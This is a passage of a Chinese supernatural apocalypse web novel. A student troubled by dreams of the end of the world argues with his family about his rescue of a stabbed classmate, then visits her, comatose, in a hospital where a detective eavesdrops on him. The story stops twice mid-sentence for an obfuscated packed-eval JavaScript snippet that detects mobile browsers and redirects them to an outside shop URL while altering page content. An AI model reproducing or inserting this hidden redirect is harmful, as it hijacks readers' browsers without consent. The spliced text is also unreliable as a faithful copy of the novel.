等到呼吸慢慢平复,她忽然回头。 弟弟站在身后。 安静地看着她。 不知道已经站了多久。 她没说话,弟弟竟然也没有像之前那样欢欢喜喜地喊一声姐姐。 两个人隔着不远不近的距离看着对方。 岑旭湖不知道他在想什么,血月下安静的小男孩只是沉默。 过了一会儿,他慢慢走过来。 “姐姐。”他的声音带着哽咽,一行泪流下,“你还回家吗?” 岑旭湖反应了会儿,才意识到他在问她,点点头。 “好。”他站在她旁边等着,不再说话。 岑旭湖的手背到身后,那根被她掰下的树枝就在身后,她将手指再次按上去。 等了一会儿,血雾却没有再出现。 她明白了。 原来刚才血雾里的字没显现完整,是因为弟弟过来了。 血雾是在刻意躲避他,还是害怕他? 弟弟蹲在她身边,温热的小手替她擦干脸上的泪水,然后坐在她身边,胳膊环抱住膝盖,脑袋埋进手臂里,声音闷闷的。 “别再把我一个人留在屋里了,我害怕。” 岑旭湖很想说,其实我也害怕。 她莫名其妙看到了一堆幻象,又掉落到这个诡异世界里,这里唯一的生物是她弟弟,而她甚至不能分辨弟弟是人是鬼。 血雾里的怪象比恐怖片还要慑人,她隐隐觉得坏事临近。 而她连自己能做什么都不知道。 她摸摸弟弟的脑袋,手掌在他背上轻轻地拍,他温热的体温渐渐暖热了岑旭湖的掌心。 “回去吧。”她说。 “嗯!”弟弟忙不迭地牵起岑旭湖的手,一骨碌从地上爬起来。 他迫不及待要离开这里,拉着岑旭湖小腿倒腾地很快,黝黑树影从身边快速略过,血月红光照亮了两个人回家的路。 岑旭湖走了一段路后,回头看向小河。 河流平静,上方空无一物,方才血雾里的景象仿佛只是她的幻觉。 大地漆黑,她看不见的方寸土地上。 那滴没有化成血雾的血忽然在树枝上滑动,然后缓缓渗进了地面。 7. 晏家会议 滴答。 一滴血从胭脂色的天边落下,在湖面溅起一小圈涟漪。湖水深红如浓墨,一只手掌垂下,鲜血顺着掌心纹路落进了血湖中。 扑通。 沉重的落水声,有人掉进血湖里了。 是谁? 剧烈急促的呼吸声越来越近,有人正在遭遇着无法抵挡的危险。 他在黑暗里分辨了一会儿,恍惚间意识到那竟然是他自己的呼吸声。 晏盛朗猛地睁开眼,又被头顶正上方三个逼近的大脑袋吓到心跳差点停止。 爷爷奶奶妈妈正虎视眈眈地盯着他,三个人六只眼睛好似冒着森森绿光,要不是理智迅速回归,晏盛朗差点没给他们一拳。 “你们干嘛?”他坐起来,手在心口拍了拍。 妈妈黎荔在他头上按了一下,手指一触即回,好像他有什么病毒似的。 “行了,醒了。” 她踩着高跟鞋哒哒哒走到旁边打开电脑戴上耳机,十指在键盘上翻飞,大约是嫌打字不够,她拿出手机开始打电话,打着打着声调提高了八个度骂人。 奶奶在床边冲着她的背影挥了下拳头,随即转身满眼心疼地看着自己的好大孙。 “乖乖,做噩梦了吧。” 奶奶端起旁边小桌上冒着热气的鸡汤,勺子直接伸到晏盛朗嘴边,“怎么那么傻啊,奶奶心都要碎了。” 爷爷取下眼镜用手帕擦眼泪,“好孩子,下次可不能再这样了。” 晏盛朗咽下送到嘴边的鸡汤,对突然冒出来的这两人很诧异。 “爷爷奶奶,你们怎么来了?” 他们和荣城隔着好几百公里的距离,来回奔波实在累人。 明明昨天电话里已经说了让两位老人家放心,他们也答应了。 看看窗外,天色有些暗了。 他这个下午觉确实睡得有点久,连爷爷奶奶来了都没能惊醒他。 最近这段时间不知道为什么他脑子一直昏沉,闭上眼就会做些光怪陆离的梦。 梦里天翻地覆,世界像被诅咒了一样变着花样地遭遇天灾人祸。 地震、山崩、海啸、火山…… 起初他以为是自己最近灾难片看多了,日有所思夜有所梦嘛,心里不仅不害怕,还隐隐期待下一个梦境的到来。 毕竟他梦里的灾难清晰又逼真,比好莱坞那些特效大片的效果强多了。 直到连着两三晚,梦里出现一个年纪和他差不多大的女生。 不同灾难过后,世界都只剩下残骸废墟,目光所及除了她没有一个活着的生命。 她跌跌撞撞走在废墟里,浑身上下都是血,整个人透着平静的绝望,一直走一直走,她走过的地方,地面上流下一行血印。 走着走着,她倒在了废墟上,再也没起来。地球上最后一个人也离开了。 醒来后晏盛朗开始害怕了,太真实了。不像是梦,好像是真的发生过一样。 晚上他再躺在床上,竟然有点不敢合眼,可是大脑到底抵不过疲惫,再一次沉睡后,梦里出现了一行遒劲有力的书法字。 【陪着她,别放弃】 晏盛朗醒来后,盯着宿舍的天花板看了一会儿,心想自己是出大问题了。 他预约了一个学校附近专家级别的心理咨询师,因为面诊时间排到了下周,趁着中间这段空档,他便跑去学校图书馆找了几本精神类的专业书。 看着看着,正对面的同学突然起身,椅子摩擦地面发出巨大一声响。 他抬头望过去,发现那个人竟然是自己梦中的女生! 她不像梦里那么狼狈,但苍白惊惶的神情却像是末日前兆,让他既觉得自己似乎身陷梦中,又仿佛梦中的一切很快都会成真。 心跳如擂鼓,那一瞬间晏盛朗心中的惊惶比她更甚。 他拎着她的书包追出去,一直追到校门口才重新看到她,她置身于血泊之中,身前是亲生父亲的利刃,身后是围观众人的避之不及。 她已经流了太多血,再挨上一刀怕是会死在那里,晏盛朗来不及过多思考,推开人群替她挡下了一刀。 岑旭湖被救护车带走了。 到今天已经了两天,无论是网络上还是学校里的小道八卦里,都没有她最新的情况。 不过晏盛朗想,她应该是没事的。 如果梦中的一切真的会发生,那么此刻她必定安然无恙,因为梦里她活到了世界末日的最后一刻,是地球上最后一个生命; 如果梦中的一切不会发生,在氢大校门口的人群中,他离她最近,他亲眼看到了捅在她胃部的伤口,血虽然流了很多但医生也来得很及时,她会没事的。 晏盛朗看着自己被包成猪蹄的左手,想着她的境况。 不知道加诸在她身上的罪名到底是真是假,他希望自己救下的人不是个杀人犯。 如果能再见到她就好了。 他想问问她有没有做过相似的梦。 耳边奶奶的抱怨打断了晏盛朗的走神。 “哎呀本来昨天就要过来的嘛,都怪他一着急就喊着心口疼。乖乖,当初你就不应该来荣城上大学,跟在爷爷奶奶身边多好啊。” “爷爷没事吧。”晏盛朗赶紧问。 “好得很。”爷爷将胸口拍得邦邦作响,“你可把爷爷吓坏了。” 奶奶还要喂他刚熬好的鸡汤,晏盛朗赶紧自己接过来,吨吨吨几大口下肚。 给两位老人看已经空了的汤碗,“看,能吃能喝,等下还能玩手机呢。” “这是你幸运。”看他嘻嘻哈哈的模样,爷爷心里一块石头总算落了地。 但转而变了脸色,语重心长道,“但不是每一次你都能这么幸运。” “盛朗,人是肉体凡胎脆弱得很,别说是刀,就是一根树枝掉下来,都有可能把脑袋砸坏,你以为你在救人,但你却是害了自己。” 旁边的奶奶拉了下爷爷的袖子,示意他少说两句。 晏盛朗欲言又止,看了眼正在噼里啪啦敲电脑的妈妈,还是没有开口。 他伸长手臂在地板上敲了敲,妈妈养的金毛空空立刻哒哒哒跑过来,大脑袋在他掌心蹭来蹭去。 晏盛朗一个翻身从沙发上滚到地毯上,揽着空空的身体把狗头夹在膝盖间,空空被迫和他对视,瞪着湿漉漉的大眼睛咧开嘴冲他笑。 “叫哥哥。”晏盛朗说。 空空哼唧两声,舔了舔他的手臂,把他扑倒在地,大脑袋直往晏盛朗怀里拱。 奶奶吓坏了,“别踩他手,空空别踩手!” 旁边忙着的黎荔瞥过来一个眼神,然后继续低头,边回复信息边唤了一声,“空空。” 金毛立刻放开晏盛朗,几步冲到了黎荔脚下,原地转了个圈后趴下,下巴搁在她的拖鞋上。 晏盛朗躺在地毯上,把身上的狗毛摘下来一吹,狗毛又飘回他身上,再摘,再吹。 呼呼呼。好玩。 爷爷被彻底忽视了。 他很不满。 因为这是件非常严肃的事情,生命无儿戏,这次只是伤了手掌,那下次呢,下下次呢。 他绝对不允许这个家庭再发生一次这样的事。 “开会!家庭会议。”晏松岩敲着桌子,语气严肃。 黎荔一听头都大了,真是怕什么来什么。 “爸,本人正在开会中。” “什么项目生意能比你儿子的生命还重要。”晏松岩真是恨铁不成钢。 “你开吧,开多久我都等着,但这个家庭会议所有人都要参加。” “……行嘞。” 黎荔心知躲不过,本着早开早省事的原则,她匆匆交代了员工几句,先结束了公司会议。 晏盛朗也有点头疼。 他理解爷爷为什么生气,可是如果还有下一次,他还是会这样做的。 别人的前车之鉴,不能成为禁锢他的钢筋水泥。他想要走出这个家庭的阴影,自由随心地去过自己的生活。 只有奶奶林秋馨很积极,她和爷爷站在同一条战线上,对于晏盛朗的救人举动实在后怕得很。 * “好了,人都到齐了。” 终于等到黎荔端着杯子施施然悠哉坐下,晏松岩立刻宣布,“关于晏盛朗同学校门口救人行为,各位都发表一下自己的看法。” 奶奶林秋馨第一个举手,“我先说。” 她坐在晏盛朗身边,“乖乖,奶奶非常不赞成你这种行为。你有助人为乐的心,这说明你是个好孩子,奶奶表扬你。可是对方一看就是个流氓无赖,手里又拿着刀,你赤手空拳是注定要受伤的。做任何事之前总要考虑代价对吗?你也知道你爸……” “咳。”晏松岩赶紧咳了一声打断她,“下一位发言。” 他看向黎荔,黎荔也看着他,两人噼里啪啦眼神交锋之后,黎荔打开电脑回复工作消息。 晏松岩只好自己举了下手,“我来发言。” 他喝了口水,从随身带的背包里拿出笔墨纸砚。 笔要净水,纸要平展,研墨要心平气静,落笔要一气呵成。 这套流程已经成了他人生中最重要的事,每次提笔落款之际,那些笔画便在他的手中脑中心中一齐落下,一横一竖,撑起他生命的骨骼。 黎荔在旁边翻了个白眼。 又,来,了。 老爷子作为一个小有名气的书法家,书法功力确实不俗,如果她是个外人,很愿意重金求一幅墨宝装点门面。 可是作为家人,黎荔实在受够了老爷子每逢要事一定要挥毫泼墨一番的仪式感。 真的很耽误时间。 她忙着呢。 黎荔合上电脑,举起手,“那爸您就先写着,我第二个发言。” 不顾老爷子冲她吹胡子瞪眼,黎荔的话语像雨点一样噼里啪啦砸下来。 “我的看法很简单。首先晏盛朗受伤这事实在不值得您二位大老远专程飞到福市,你们年纪大了,路上奔波劳累,万一出点事谁都担不起。第二,爸爸妈妈,晏盛朗今年已经十八了,我不会再把他当成小孩子看待。” 她走到客厅中间的茶几边,盘腿坐在地毯上,和晏盛朗隔着不远不近的距离。 空空依偎在她身上,乌溜黑的大眼睛在每个人身上转来转去,乖得像个小孩子。 “晏盛朗,接下来的话妈妈以前对你说过一次,那时候你还小,可能听不懂,妈妈今天再跟你说一次。” 晏盛朗垂着头,地毯才清理过不久,又粘上了空空的狗毛。 他一根一根摘出来,再埋进地毯里,没有抬头看妈妈。 “从今往后不管你做什么选择,无论是不是冲动,有没有考虑清楚,一切后果都由你自己承担。你要知道每个人都有他自己的人生课题要完成,我希望你在这个过程中是完全独立的,清醒的,跌倒了就自己爬起来,摔断了腿就自己去买拐杖,你要学会受伤,更重要的是要学会自己止血。不要总是指望家人给你做的一切事情收尾,我们也都有各自的人生要过。” 晏盛朗松手,一簇狗毛轻轻飘起,他抬眼,看到那簇金黄色的毛飘到了不远处的空空身上。 空空枕着妈妈的手臂睡着了,它是只性情非常温顺的狗,从来不会闯祸,此刻就连熟睡的模样都乖巧无比,怪不得妈妈那么爱它。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不需要看见别人受难受伤就冲在前面,孩子,你就和围观的其他人一样站在旁边看着吧。会有警察医生保安站出来救死扶伤,那是他们的责任,不是你的。” 晏盛朗听呆了,“爷爷,你认真的吗?” 爷爷从来不会和他说这样的话。 老人家的眼圈红了,他看着英朗俊逸的孙子,这孩子身上有熟悉的影子。 “爷爷已经失去过一个孩子了……” 气氛瞬间僵硬下来。 黎荔敲键盘的动作停滞了,她手虚虚停在键盘上,渐渐地指尖开始颤抖。 林秋馨赶紧给了晏松岩一巴掌,“你不让我说自己反倒说出来。” 晏盛朗环视一圈,现在整个屋里估计只有空空是开朗的了,它在黎荔身上伸了个懒腰,换了个姿势继续睡觉。 这个家庭每个人的心上都悬着一方阴霾,这么多年过去,他们谁都没有走出来。 而事情归根结底,是他闯出来的祸。 晏盛朗端起桌上没喝完的鸡汤一饮而尽,擦擦嘴巴,两根手指在嘴角撑出一个笑,举手。 “好啦,我也来发言。” “爸爸当初因为救人离世,可是如果再来一次,我想他也还是会做出同样的选择吧。”他没有停顿,也没有给三个大人心理准备的时间,直接戳出了这个家的伤疤。 三个人全部变了脸色,齐刷刷看向他,又各自黯然转头,掩饰着自己的情绪。 “我也一样。”晏盛朗接着说。 “我不会因为爸爸的离世就违背本心做袖手旁观的人,意外发生的时候,我可以做出自己的判断和选择,如果因此付出代价,我也不会后悔。” 他看向面色凝重的爷爷奶奶,“但我向你们保证,我会保护好自己,因为我已经是个成年人,不让家人操心也是我的责任。” 黎荔的脸上没什么表情,她还沉浸在被骤然揭开的伤口中。 晏盛朗看着妈妈,心情很复杂。爸爸去世后妈妈就回到了她的家乡荣城,很少再和他沟通,要不是他考上了氢大,可能妈妈宁愿一辈子不见他吧。 “妈妈说得对,我有自己的人生课题要完成。” 晏盛朗停顿了一下,“其实我最近经常做梦,偶尔会分不清梦境和现实,不知道未来会发生什么。” “但我想,我会做出我认为对的决定。” 他看向自己包扎得严实的手掌,两天过去了,缝合后的伤口还在隐隐作痛。 它提醒着晏盛朗,梦境和现实之中,有什么不同寻常的事情正在发生。 他有种预感,如果那些灾难注定会成为现实,自己一定会像校门口那样,猝不及防地流血受伤,甚至死亡。 “这孩子在说什么啊。”奶奶听不懂了。 晏盛朗摇摇头,对面前的三个人笑笑。 “好啦,会议结束,三位帅哥美女,我请你们吃大餐去。” 如果结局注定是死亡,他不能把时间浪费在无聊的家庭会议上。 正要起身,手机忽然响了,是一通来自荣城公安局刑侦支队的电话。 “你好晏盛朗,请你来一趟荣城中心医院。” 挂断电话,奶奶林秋馨已经吓坏了,“为什么又去公安局?” 案发当天,晏盛朗已经去警局做过一次笔录了,警察交代他好好养伤,其他的并没说什么。 归根结底那是岑旭湖的家事,和他一个见义勇为的陌生人无关。 “不是,是去医院。” “去医院干什么?” 电话里警察没说缘由。 但晏盛朗想了想,“我好像知道原因。” 8. 幻影相连 晏盛朗回房间找到岑旭湖的书包,那是个简单的帆布袋,没有拉链,一眼就能看清袋子里装的东西。 之前做笔录时他没有说自己拿了她的书包。 一是里面的书本和文具都是他亲手装进去的,只是些教材资料而已。 二是氢大校门口的意外是在岑旭湖离开图书馆之后发生的,在那之前她的用品应该和案件无关。 晏盛朗那时有私心,他不太想把这些交给警察。 他想等风平浪静以后再把书包还给她,顺便问问岑旭湖,有没有做过什么奇怪的梦。 今天警察给他打电话让他去医院,他想应该是岑旭湖已经没事了,所以才会需要她的书包。 不过现在案件情势尚未明确,岑旭湖这么着急找到这个书包,难道里面有什么证据吗? 他好奇地看着这个帆布袋,犹豫再三还是没有打开。 就算有证据那也是岑旭湖的家事,他还是不要掺和了。 知道多的人死得快。 不过…… 万一里面的证据能够证明岑旭湖真的是个杀人犯呢? 那她就该接受惩罚。 可是…… 晏盛朗鬼使神差地伸手,取出袋子中的书快速翻了翻,几乎书本的每一页都有岑旭湖写的笔记,密密麻麻遮天盖地。 她的字体很工整,一笔一划严谨有力,除了数字公式解题心得,再没有其他内容。 门外出来敲门声,“出发了。” 黎荔在外面催他,说是拿个东西进去半天也不出来,这个家没有一个人让她满意的。 晏盛朗心里一慌,将手里的数学书放下时,撞掉了放在桌子边缘的笔袋。 “咔嚓”一声脆响,里面有什么东西碎了。 他一边应着门外的妈妈,一边将笔袋捡起来,拿在手里晃晃,有碎片碰撞的声音,听起来像是玻璃。 晏盛朗打开笔袋,碎玻璃片掉了出来,是一块浅绿色的折叠小镜子摔碎了。 镜子的外壳完好无损,能看出来用了很久,上面的花纹颜色已经发白,一张明显被裁剪过的圆形白色相纸夹杂在碎片里,边缘有些泛黄。 他将相纸翻转过来。 正面是张合照。 岑旭湖和一个女生靠的很近,脸贴着脸,两个人的脸上都洋溢着明媚的笑,她俩对着镜头比耶的手势。 被裁剪过的相纸很小,留给背景的空间不多,依稀能看得出一片绿色,似乎是棵树。 原来岑旭湖笑起来是这个样子的。 和她面无表情的时候完全不一样。 大笑的她真应了她名字里的那个字——旭。 清朗如初升旭日,蓬勃的生命力穿透相纸,让看照片的人心情也轻松了不少。 晏盛朗拿着相纸,手指拨拉了下地上的镜子碎片,会不会还有别的相片? 轻微的刺痛忽然袭上指尖,他被玻璃尖扎了一下,一点血液渗出皮肤。 他没在意,将相纸连同镜子碎片一起收进笔袋里。 看过之后他依然没发现这个书包里的东西有什么玄妙之处,可能警察能看到不一样的东西吧。 收拾好这个帆布袋,开门之际,晏盛朗的视线无意间略过门把手。 他的手正搭在门把手上,指尖上方萦绕着一层淡淡的红色雾气。 红色的…… 雾气??? 晏盛朗皱眉不可置信地揉揉眼睛,再看向自己的手指尖,刚才被玻璃刺破的那处,针尖般的伤口处不知何处竟然流出了一小片血,鲜血甚至染红了他的指甲。 血雾随着他抬手的动作在眼前扩散,眨眼间竟有一本书那么大。 晏盛朗退后了一步,试图躲开这团雾气。 似乎是能察觉到他的恐惧,雾气亦步亦趋猛地扑上来,好似刮过来一阵冰凉的风,他来不及闭气就已经将这股凉风吸进了五脏六腑,身体顿时有种被裹挟的窒息感,皮肤之下血液都透着凉意。 他剧烈地咳了两声,试图缓解体内的不适,明明整个人已经从里到外凉透了,额头上还是冒出了细密一层汗珠。 晏盛朗心跳得厉害。 越看越觉得眼前的红色雾气和梦中的末日天空很像,一样的猩红诡异,透着浓浓的灾难意味。 到底是怎么回事? 他出现幻觉了,精神分裂了? 晏盛朗咽了口唾沫,伸手在面前挥了挥,想要驱散那团雾气,可是血雾的颜色反而变得更深了。 深红色的雾气之中,有细长条的阴影在里面缓缓游动。他忍着恐惧,一边捂住口鼻不让自己再次吸入血雾,一边仔细分辨着血雾里的阴影。 细长条。 深褐色。 有尖尖的小刺。 似乎……是截树枝。 “晏盛朗,你到底在里面磨蹭什么?” 黎荔再次敲门,死小孩,真烦人。 空空在外面嗷呜嗷呜挠门,和妈妈一起催促着晏盛朗。 一门之隔的距离,空空挠门的动静好像挠在晏盛朗心头上,让他五脏六腑都毛毛的。 他想走过去,却发现自己的四肢都僵硬得不行,刚一抬脚就一屁股坐到了地上。 再看时,面前血雾的颜色减淡了。 “妈妈?”晏盛朗向着门外喊了一声。 黎荔声音里带着警告,“我再给你五分钟,不出来就自己打车去医院吧。” 随着她话音落下,血雾散了。 房间里静寂无声。 一切好像从来没有发生过。 晏盛朗坐在地上缓了片刻,直到心跳不再那么剧烈,他看看自己指尖,终于没有再流血了。 他爬起来,拎着书包拧开房门走出去。 门外黎荔还没走远,听见声音转头一看,犹疑地停住脚步。 “你怎么了?怎么脸上都是汗。”黎荔走过来抬手摸摸他的脸,被晏盛朗冰凉的体温吓了一跳。 手顺势摸到晏盛朗的脖子、胳膊,发现儿子不只是脸,全身都冰凉得吓人。 晏盛朗摇摇头。 黎荔皱眉,“刚才在房间里干什么呢?” 拿个袋子怎么会要那么久。 空空忽然扑上来,两只前爪紧紧抱住晏盛朗的手臂,鼻子在他身上嗅来嗅去,喉咙里发出呜呜的低吼声。 晏盛朗把它推开,空空却不依不饶地再次抱住他,鼻子恨不得杵进晏盛朗衣服里。 他只好抓着空空的前爪拉着它往前走,躲开黎荔审视的目光,“没什么。” 就算告诉妈妈,她也不会相信,反而会说他一天到晚不着边际。 算了。 等他先搞清楚到底是怎么回事再说吧。 * 荣城中心医院住院部十四层。 晏盛朗手里拎着一个果篮,奶奶怀里抱着一束花,爷爷拿着自己新鲜出炉的出院贺词,黎荔看着手表,一家四口人俨然是探望病人的架势。 虽然来的路上晏盛朗魂不守舍,但还是好好地回答了奶奶的问题。他坚信岑旭湖肯定已经清醒了,爷爷便表示不管真相如何,他们不能失了探望病人的礼节。 黎荔一个人敌不过三个人,骂骂咧咧地给他们的“礼节”买单。 走廊里站着一大群人,有警察医生和看不出身份的陌生人。 晏家四个人刚走过去,所有人的目光就投了过来。 李良从人群后方走出来,看着这一家子的架势有点啼笑皆非。 “晏盛朗来了。”他们两天前在警局见过,李良拍了拍晏盛朗的肩膀,“手恢复的怎么样?” “还行。”一说手,晏盛朗就想到刚才看到的血雾。 李良对晏家人抱歉地笑笑,“可能是我同事电话里没说清楚,其实现在还不太方便探望病人。” “理解理解,”爷爷晏松岩客气地和他寒暄,“听你们安排,我们不会妨碍公务。” 李良点点头,将晏盛朗拉到窗边,没让晏家其他人跟着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055758|149200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 经过那些警察医生时,晏盛朗看到他们每个人的神情都很焦灼,似乎正面对着相当棘手的情况。 在他们中间站着三个没有穿制服的人,一男两女,男生看起来也是大学生模样,正弯腰安慰着一个中年女人,女人短发干练打扮朴素,捂着脸强忍住哭腔。 在两人身旁,站着一个年轻女人,她的眼睛红肿,神情却是冷静克制的,在她指尖夹着一根没有点燃的女士香烟。她靠在墙边闭上眼,眼底的憔悴之色显而易见。 晏盛朗脚步顿了一下,他见过她! 她就是那张合照上的另一个人。 看清他们的神情,晏盛朗的心逐渐沉下去,难道岑旭湖的情况不好吗? “怎么了?”李良敏锐得很,他立刻跟着晏盛朗放缓了脚步,视线随着他一起看向了墙边的云桦,“认识?” “见过。”晏盛朗很诚实地回答。 两个人在窗边站定,李良没有其他人看起来那么焦虑,他很是气定神闲。 “你怎么会见过云桦?”他问。 晏盛朗把拎着的帆布袋递给李良,“里面的东西我打开看过了,不好意思。” 李良没说话,眯着眼睛接过袋子,随手翻了翻里面的书,拿起笔袋的瞬间听到了里面玻璃碎片相撞的声音。 他看了晏盛朗一眼。 “是里面的镜子碎了,我不知道会不会影响你们判断,就把碎片也放进了笔袋里。”晏盛朗说。 李良打开笔袋的动作慢了些,用笔代替手指在里面拨拉了两下,拿出了岑旭湖云桦的照片。 哦,原来是这样见过。 他还以为晏盛朗和岑旭湖有什么前情故事呢。 晏盛朗随着他的动作再次看向那张照片。 他忽然看到照片上岑旭湖眼睛的位置有淡淡的血迹,应该是他的伤口不小心沾上了。 那点鲜红映进她明朗的笑眼里,竟然看上去有些诡异。 李良翻看完毕,又把袋子递回给了晏盛朗,“等下你自己去还给云桦吧。” “你们不是需要这个吗?”晏盛朗很惊讶。 李良问他,“你在哪拿到的这些?” 晏盛朗皱眉,事情好像和他预想的不一样。 “图书馆啊,岑旭湖离开后书本都还留在桌上。李叔叔,难道你们不是知道我拿了才让我过来的?” 李良笑而不语。 他们怎么会知道这么细节的事情。 看着李良这样的神情,晏盛朗恍然大悟,是他想错了,主动送上了岑旭湖的书包,而李良也顺势查看了一番,确定于案件无用后才还给他。 “别紧张,这不是大事。”李良笑了笑,没计较晏盛朗做笔录时可以隐瞒下这个帆布袋的事情。 它确实无关紧要。 只不过,瞒了一件事就意味着晏盛朗心里可能还隐藏着更多事。 在审讯时有一条颠扑不破的真理——嫌疑人主动交代出来的事情,往往都不是重要的事。 所以李良很好奇,面前这小子见义勇为的背后究竟还有没有隐情。 “案发当晚在局里咱们聊过一次。”李良的语气不急不躁,但看向晏盛朗的眼神充满了探究,“当时你没有告诉我的,可不只这一件事吧。” “啊?”晏盛朗的眼神闪烁了下。 “这两天我们仔细看了当时现场的很多视频,发现岑旭湖在昏迷之前好像和你说过话。晏盛朗,她当时说了什么?” 晏盛朗没说话。 “按照流程是应该在警局问你的,但是我把你叫来了医院。”李良终于不再是一副置身事外的神态,他面色凝重地看着晏盛朗。 “因为岑旭湖现在的情况很不好,你可以进去看看她,再来决定到底要不要将她的话说出来。” 李良为他打开了走廊尽头那扇病房的门。 在晏盛朗走进去的瞬间,耳边响起李良沉重的提醒。 “那可能是她在这世上说的最后一句话。” 9. 请帮帮我 晏盛朗看着病床上无声无息的岑旭湖,觉得现实给他开了个巨大的玩笑。 梦里的一切都是假的。 岑旭湖根本活不到世界最后一刻。 她已经快死了。 他站在岑旭湖床边,这两天一直压抑在心中的话脱口而出。 “那天在图书馆,你是不是看到了什么奇怪的事情?” 他记得清楚,在有人找到她之前,她已经惊惶起身,脸上有竭力掩饰的恐惧。 晏盛朗很想知道,她那天看到的和他梦里出现的,是不是同一个末日场景。 “我梦到你了。”他对病床上的岑旭湖说,“很奇怪,明明我从来都没有见过你。” 病床上的人被医疗设备包围了,粗细不一的管子维持着她的生命,冰冷的显示屏显示着她的生命余额。 她听不到他说话。 连他自己都听不到自己的呓语,他的耳边全是仪器运转的声音。 这声音他十二岁那年听到过。 在自己父亲的病床前。 命运反复无常,总会以刁钻诡异的角度让他明白人类的渺小。 一次意外,一场疾病,甚至只需要一个念头,就可以带走一个活生生的人。 站在病床前,他就觉得身体空落落的,好像四面都透着风,下一秒也就会刮走。 “在我的梦中,所有人都死了,只有你坚持到了最后。” 晏盛朗看了一眼门外,门外的人们顾不上这里,他们每个人都很忙,所以此刻他可以放心地将心中疑惑讲出来。 “难道梦是相反的吗?末日不会发生吧。” “我总觉得你不可能就这么死了,岑旭湖。” 晏盛朗从震惊中努力找回自己的理智,那一刀明明是捅进腹部的,怎么可能会影响大脑呢? 他心里忽然冒出了一个离谱的猜测,来不及细想就脱口而出。 “你现在这样,不会和你看到的东西有关吧。” 话说出口,他感觉周围空气莫名降低了几度,在四下无人的病房里,晏盛朗狠狠打了个冷战,自己把自己吓了个半死。 门外李良戴着耳机,将音量调到最大,听着病房里晏盛朗的喃喃自语。 初次笔录时晏盛朗没有完全交代情况,说明他在刻意隐瞒一些事情。 不管他是出于什么考虑,在岑旭湖危在旦夕的今时今日,李良都觉得自己有责任搞清楚那些没说出来的事实。 于是为了降低晏盛朗的戒备心,李良特意把他叫到了医院,让同事提前在病房里布置好监听设备。当晏盛朗独自面对自己救下的人时,或许那些隐瞒的真相就会脱口而出。 只是听清晏盛朗说的第一句话后李良就开始皱眉,这孩子在一本正经地胡说八道什么呢。 什么梦境末日的,有点离谱了。 许久再没有听见声音,李良悄悄站在病房门口,透过门上的玻璃向里观察。 晏盛朗神情恍惚,看着岑旭湖不知道在想什么。 病房里,缓过神的晏盛朗摇摇头,忽然觉得自己很可笑。 事实就是岑旭湖已经躺在病床上了。 外面顶级的专家医生们一定早就会诊过无数次,束手无策后才会放任她就这么沉睡着。 他连发生在自己身上的事都还没搞清楚,怎么能胡乱揣测。 “挡了一刀也没用。” 晏盛朗觉得心口很闷,手掌的刀伤又开始隐隐作痛,他最后看了一眼岑旭湖,叹口气走出了病房。 门外,李良若无其事地摘下耳机,走到晏盛朗身边。 “很多人在看到砍杀流血场面后,心理上会出现应激反应,刚才我忘了问你,你这两天还好吗?” “?”晏盛朗下意识地回答,“挺好的。” “有没有梦到什么让你害怕的事情?” “……”晏盛朗静默了一瞬,和李良对视。 两个人的目光无声交汇了很久,晏盛朗先移开了视线,他知道刚才在病房里说的话被听到了。 “如果我说有,你会相信吗?” “说说看。” “世界末日。”晏盛朗看着李良的眼睛,这四个字说的斩钉截铁。 毫不意外的,他在李良的眼里看到了怀疑。 “只有岑旭湖活下来了。”他又补充了一句。 李良沉默地眨了下眼,把手里同事送来的牛奶给了晏盛朗。 这孩子虽然身姿英朗气质不俗,但毕竟也只是个刚入学的大一新生,有些青春期小孩的中二幻想是很正常的。 尤其是在看到同学受重伤后,大脑难免会产生一些自我保护机制,能做出这样的梦就很合理了。 “我也希望岑旭湖会安然无恙。”李良说。 晏盛朗握着那盒牛奶,有点想笑,他打消了将诡异幻景和盘托出的念头。 没有人会相信的。 如果不是发生在他身上,也许连他自己也不会相信这样的事。 “你愿意告诉我,岑旭湖在校门口和你说的话了吗?”李良温和发问。 “其实您没必要兜这么大圈子,她只说了两个字,救我。”晏盛朗说。 在那样的情境下,向别人求救是再正常不过的事情。 李良看向不远处的云桦,云桦闻言,低头掩饰住眼里的泪意。 其实案件到今天已经调查的差不多了。 是她好奇妹妹究竟说了什么,才会让李良兴师动众地找来晏盛朗。 听到妹妹说‘救我’,云桦心里一阵抽痛。 岑旭湖从来都是坚强的人,再难过的关隘都不会选择放弃生命。 可如今她却只能被医生宣判,最多只能再坚持半个月。命运真是可憎。 * 回家的路上,晏盛朗一直沉默不语。 岑旭湖除了一句“救我”,还说了“地震”。 他没有把这个告诉李良。 爷爷奶奶看他这样,也跟着低落起来。 黎荔眼瞅着车里气氛越来越低沉,抬手打开了车内音乐,不小心碰到了旁边的电台,晚间新闻的播报声飘出来。 “……发生5.3级地震。” 晏盛朗一个激灵,脑海中好像闪过一道火花,岑旭湖嗫嚅着说出这句话的样子浮在他眼前。 “妈妈别关。”他赶紧阻止黎荔关停的动作,伸手调大了音量听得专注。 这场地震的震中在西部一座小城,地震发生前很多人收到了地震预警,且当地灾害救援十分及时,截止新闻播报时没有发现遇难百姓,有数十人在地震中受伤。 晏盛朗打开手机搜索这场地震的新闻报道,发现相关新闻竟然寥寥无几,地震现场图模糊难辨,具体的灾害情况也语焉不详。 似乎无人在意这场偏远之地的地震。 是巧合吗?晏盛朗有点不安。 “又地震了,”晏松岩看孙子很关注这个新闻,赶紧就着地震发言,“这几年到处都不安稳。” 